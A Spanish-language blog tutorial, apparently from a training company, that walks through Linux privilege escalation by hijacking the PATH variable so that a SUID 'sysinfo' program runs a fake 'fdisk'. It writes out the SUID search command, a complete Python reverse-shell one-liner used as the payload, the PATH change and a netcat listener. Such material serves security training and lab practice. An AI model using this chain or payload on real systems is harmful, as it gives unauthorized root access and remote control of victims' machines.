Escalada de privilegios por PATH VARIABLE


Que onda chicos, durante la semana nuestros colaboradores nos sorprendieron una gran entrevista en compañía de Alan el mago, así que los invito a que vean la entrevista en el canal.

https://bit.ly/2YsLjuJ


Por otro lado, les vengo a enseñar una técnica que me pareció interesante para la escalada de privilegios por PATH VARIABLE así que haremos algo de magia.


Pero … hay que ponernos en contexto, ¿Que es el PAHT?


Es una variable ambiental en sistemas operativos Linux y similares a Unix que especifica todos los directorios bin y sbin que contienen todos los programas ejecutables que se almacenan.


En pocas palabras cuando el usuario ejecuta cualquier comando en la terminal, solicita a la shell que busque archivos ejecutables con la ayuda de PATH Variable en respuesta a los comandos ejecutados por un usuario. El superusuario también suele tener entradas /sbin y /usr/sbin para ejecutar fácilmente los comandos de administración del sistema.


La variable de entorno PATH significa que el usuario registrado puede ejecutar archivos binarios desde el directorio actual y puede ser una técnica excelente para que un atacante escale los privilegios de root.




Esto se debe a la falta de atención al escribir el programa, por lo que el administrador no especifica la ruta completa al programa.


Pero bueno, vamos a demostrar esta técnica.

Primero lo primero, debemos comprometer el sistema destino, en este caso nuestra maquina victima y luego pasar a la fase de escalado de privilegios.


Sin perder el tiempo, hay que buscar el archivo con SUID o permiso 4000 con la ayuda del comando find.


find / -perm -u=s -type f 2>/dev/null



Dentro de la información nos dio el comando sysinfo, que nos arroja información del sistema, siendo un comando nativo de Linux se acopla a nuestra técnica ya que se divide en 4 cuatro comandos.

Hardware Info = lshw -short

Disk Info = fdisk -l

CPU Info = cat /proc/cpuinfo

Mem Usage = free -h


Así que con esta información, corromperemos sysinfo a través de Disk Info para obtener una Shell con privilegios root.


Así que, me dirijo a la carpeta tmp y creo una carpeta llamada Magic, si tienes la oportunidad de usar un editor de texto como ‘nano’ o ‘vi’ creamos la carga útil con nombre fdisk.


Esta será nuestra carga útil, una Shell reversa en python3


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",Puerto));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Si no tenemos editor tendremos que crearla desde nuestro Kali y mandarlo a nuestra maquina víctima. Y reafirmo, con nombre fdisk.


Movemos fdisk a nuestra carpeta que hicimos en la ruta /tmp/Magic

Ahora queda darle permisos con el comando chmod 755 fdisk y cambiamos el PAHT con el comando export PATH=/tmp/Magic:$PATH

Y levantar un escucha con netcat en nuestro Kali Linux





Aquí es donde pasa la magia.


Al momento de llamar al comando sysinfo, manda a llamar a los 4 comandos, lshw -short, fdisk -l, cat /proc/cpuinfo, free -h.

Al aplicar la técnica estamos remplazando el "fdisk verdadero" por nuestra carga útil con el mismo nombre. Así que cuando es activado. Ejecuta nuestro fdisk y para recordar, con privilegios root.


Y solo nos queda ejecutar sysinfo y esperar nuestra shell



! Y Boom ! Magia, somos root.



Espero que les guste esta técnica de elevación de privilegios en sistemas linux y sigan practicando.


Happy hacking !


BlackSkull

12 vistas

HUB

HUB es un grupo líder en el ramo de capacitación y consultoría con mas de 100 colaboradores directos e indirectos a lo largo de la República Mexicana y America Latina

  • Facebook
  • Twitter

CDMX | TORRE REFORMA

 Paseo de la Reforma 483, Piso 14
Col. Cuauhtémoc

GUADALAJARA |  CENTRAL PARK

Diagonal  San Jorge 100,
Col. Vallarta San Jorge

MONTERREY | PABELLON M

 Juárez #1102 Pte, Piso 4 y 5
Col. Centro,

CDMX - QRO - GDL - MTY

Tel: 55 50150510

©2020 por Certification Hub. Es una empresa de Hub México